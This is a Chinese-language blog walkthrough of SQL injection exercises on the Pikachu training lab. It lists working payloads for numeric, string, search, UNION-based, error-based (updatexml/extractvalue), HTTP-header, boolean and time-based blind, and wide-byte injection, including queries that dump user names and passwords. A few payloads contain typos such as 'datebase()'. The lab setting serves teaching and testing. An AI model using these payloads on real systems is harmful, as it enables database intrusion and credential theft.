sql注入

数据库注入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击者可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄露的一种漏洞。

sql注入攻击流程

1.  注入点探测

自动方式:使用web漏洞扫描工具,自动进行注入点发现s

手动方式:手工构造sql inject测试语句进行注入点发现

2.  信息获取

通过注入点取得期望得到的数据

      1.  环境信息:数据库类型,数据库版本,操作系统版本,用户信息等

      2.  数据库信息:数据库名称,数据库表,表字段,字段内容(加密内容破解)

      3.  获取权限       获取操作系统权限:通过数据库执行shell,上传木马

Get方式中使用url提交注入数据;post方式中使用抓包工具修改post数据部分提交注入

数字型注入(post)

首先选择数字1 ,点击查询

 

 

 由于是post型,所以我们抓包,做一下修改,修改为恒成立 id=1 or 1=1

 

 将其发送到Repeater,点击Go

 

 可以看到Render里取出了数据库中全部数据,说明存在数字型注入漏洞。

可以看下源码,这里没有做任何处理

字符型注入(get)

我们先输入kobe

 

因为是字符型的注入,我们可以使用做sqli-labs方法进行尝试(参考sqli-labs的方法,几乎每一关都用),加单引号、双引号、括号、以及他们的组合这里需要注意闭合后面注释  最后我们试出来是单引号

kobe' or 1=1#

 

 搜索型注入

我们先输入一个字母k

 可以查看一下源码(路径如图所示)

 

 

 可以看到,这里用了搜索的sql语句:select  username ,id ,email from member where username like '%$name%'  

用了一个like  ‘%xxxx%’, 同样的道理,可以选择闭合sql语句:k%' or 1=1#

 

 成功闭合,所有数据显示出来

xx型注入

相同的道理,只是数据包过形式不同

可以查看源码(路径如下)也可以自己尝试出来

 

 

 

 

 所以构造 k') or 1=1#

 联合查询

我们在sqli-labs中用到过多次联合查询的语句,下面来回顾一下(以xx注入类型为例)

判断字段数  a')  order by 2#(数字可以改变,判断出来字段数为2)

查库   a')  union select database(),2#  (查到数据库为pikachu)

 

查表    a') union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#   

 

查询users表中的字段名: a') union select table_name,column_name from information_schema.columns where table_name='users'#

联合查询得到用户名和密码:a')  union select username,password from users#

insert/updata注入(报错注入)

 

 

 

 

点击注册

 条件:后台没有屏蔽报错信息

常用函数:updatexml() exactvalue() floor()(取整函数)

基于insert/update下的报错

1' or updatexml(1,concat(0x7e,datebase()),0) or'

基于delete下的报错

1' or updatexml(1,concat(0x7e,datebase()),0) 

基于exactvalue()

kobe' and extractvalue(0,concat(0x7e,version()))#

构造语句  1' or updatexml(1,concat(0x7e,database()),0) or'

密码必填可以随意输

 

得到皮卡丘的数据库名字是 pikachu

update注入

先登录进去,使用lucy/123456  然后在修改信息的框中直接填入语句即可,payload和insert的相同

1' or updatexml(1,concat(0x7e,database()),0) or'

得到皮卡丘的数据库名字是 pikachu

 delete注入

 

基于delete下的报错

 

1 or updatexml(1,concat(0x7e,datebase()),0)

 

 

 

删除的时候设置代理,抓包

 将其发送到Repeater,然后改包,将id后面的数字改掉

由于是get的类型的 在payload记得进行url编码

payload 在上面已经提到   

1 or updatexml(1,concat(0x7e,database()),0) 

 

编码之后,可以看到空格变为了加号,点击Go 

 

 得到数据库pikachu

 http header 注入

原理:有时候后台开发人员为了验证客户信息(比如cookie验证)或者通过http header头信息获取客户端的一些信息,比如useragent、accept字段等 会对客户端的http header信息进行获取并使用sql进行处理,如果此时没有足够的安全考虑则可能会导致基于http header 的sql inject漏洞。

首先登陆  admin/123456

 

 发现有对头部信息的获取,所以可能存在注入

抓包,发送到Repeater

 

 

 

 修改user-agent    将信息改为 firefox' or updatexml(1,concat(0x7e,database()),0) or '

 

 得到数据库为pikachu

基于boolean盲注(布尔盲注)

 

表现:

 

1.没有报错信息

 

2.结果都只显示两种情况(0或1)

 

3.在正确的输入下,输入and 1=1/and 1=2可以判断

实际上需要自己一个一个测试出来

输入   Kobe’ and ascii(substr(database(),1,1))>113#

 

 Kobe’ and ascii(substr(database(),1,1))=112#

 

 获取表名

test payload:
kobe'  union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#

获取字段名

kobe'  union select table_name,column_name from information_schema.columns where table_name='users'#

 

基于时间的盲注

Kobe' and sleep(5)#   页面会延迟五秒

 

 kobe' and if ((substr(database(),1,1))='a',sleep=(5),null)#
1ms就返回结果 说明不是 "a" 改为”p”不返回  一直到确定数据库的全称。

宽字节注入

当我们输入有单引号时被转义为\’,无法构造 SQL 语句的时候,可以尝试宽字节注入。

GBK编码中,反斜杠的编码是 “%5c”,而 “%df%5c” 是繁体字 “連”。在皮卡丘平台中,将利用 BurpSuite 截获数据包,发送到 Repeater 中,在里面写入payload,当我们用通常的测试 payload时,是无法执行成功的

因为在后台单引号会被转义,在数据库中执行多了反斜杠,可以使用下面的payload,在单引号前面加上%df,绕过这个WAF。

kobe %df' or 1=1#

 

 我们构造sql查询语句就可以了

 

 posted on 2020-03-28 21:42  骑着七彩祥云的少年  阅读(2323)  评论(0编辑  收藏  举报